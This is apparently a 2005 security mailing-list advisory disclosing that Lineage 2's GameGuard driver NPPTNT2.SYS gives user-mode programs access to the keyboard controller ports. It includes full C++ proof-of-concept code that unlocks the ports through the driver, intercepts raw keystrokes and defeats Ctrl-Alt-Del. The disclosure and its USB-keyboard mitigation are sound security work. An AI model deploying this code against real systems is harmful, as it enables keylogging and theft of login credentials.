Re: Unrestricted I/O access vulnerability in INCA Gameguard
In-Reply-To: <000001c4fc2b$bfd81820$6101a8c0@sauron>
On January 26 2005, NCsoft updated their Lineage 2 client for the North
American and European market to include the GameGuard system.
The GameGuard system includes an updated version of the NPPTNT2.SYS driver
(2005.1.5.1). The updated driver no longer opens all I/O ports on demand to a
user mode process. However, it still opens two port ranges: 0x40-0x47 and
0x60-x067.
The port range 0x60-0x67 allows access to the 8042 keyboard and mouse
controller. This access still represents a security vulnerability, as a trojan
can use the driver to intercept all keyboard input to the system before the OS
sees the input. This includes the Ctrl-Alt-Del Secure Attention Sequence, which
is never passed to applications in the OS design.
Using GameGuard, a trojan could create a fake logon screen to the operating
system, and get hold of usernames and passwords, and use those to elevate its
privilege on the system. The operating system safeguard of pressing the Secure
Attention Sequence Ctrl-Alt-Del to get to a genuine logon screen is bypassed.
The attached proof of concept code shows a simple program that intercepts 100
keyboard scan codes and displays them on screen. While the program is running,
Ctrl-Alt-Del is intercepted by the program and does not bring up the security
dialog or task manager.
Also, if the attached proof of concept code is run concurrently with Lineage 2
with Gameguard, the proof of concept program successfully intercepts all input.
There is a risk that the proof of concept may have side effects such as
disabling your mouse or resetting your computer, so please save any work before
running it. The trade off is simplicity and clarity in the proof of concept.
In our testing we have found that PS/2 keyboards are affected as they use the
8042 controller, however USB keyboards are not as the OS uses the USB and HID
driver stack to process input from them. We would recommend using a USB
keyboard, and disconnecting it from the PS/2 port if it has both USB and PS/2
connections.
// NPPTNT2keylog.cpp : Defines the entry point for the console application.
//
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from
Windows headers
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <winioctl.h>
#include <conio.h>
int main(int argc, char* argv[])
{
puts("Opening \\\\.\\NPPTNT2\r");
HANDLE hFile = CreateFile("\\\\.\\NPPTNT2", 0, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
puts("Calling DeviceIoControl\r");
DWORD dwRet = 0;
// Take this line out and the _inp will give you an AV
DeviceIoControl(hFile, 0x958A2568, 0, 0, 0, 0, &dwRet, 0);
// Read the status register
int StatusRegister = _inp(0x64);
printf("Status Register: %02X\n", StatusRegister);
// Output the read command byte command
_outp(0x64, 0x20);
// Read the command bytes
int CurrentCommandByte = _inp(0x60);
printf("Current Command Byte: %02X\n", CurrentCommandByte);
// Disable interrupts by masking off bit 0
CurrentCommandByte &= 0xFE;
// Output the write command byte command
_outp(0x64, 0x60);
// Output the new command byte
_outp(0x60, CurrentCommandByte);
puts("Type now and try 'E' or 'J' to exit, or Ctrl-C\r");
// Run for hundred scan codes or less
// (arbitrary termination condition)
for (int i = 0 ; i < 100; i++)
{
// Wait on bit 0 to go high
while ((_inp(0x64) & 0x01) == 0);
// Read the scan code from the keyboard
int nVal = _inp(0x60);
// Scan code 0x24 - Either 'E' or 'J' depending
// on which set of scan codes the keyboard is using
// Exit early on this key
if (nVal == 0x24)
break;
// list out the hex value of the scan code
printf("0x%02X ", nVal);
}
CloseHandle(hFile);
}
else
{
puts("Driver not found\r");
}
return 0;
}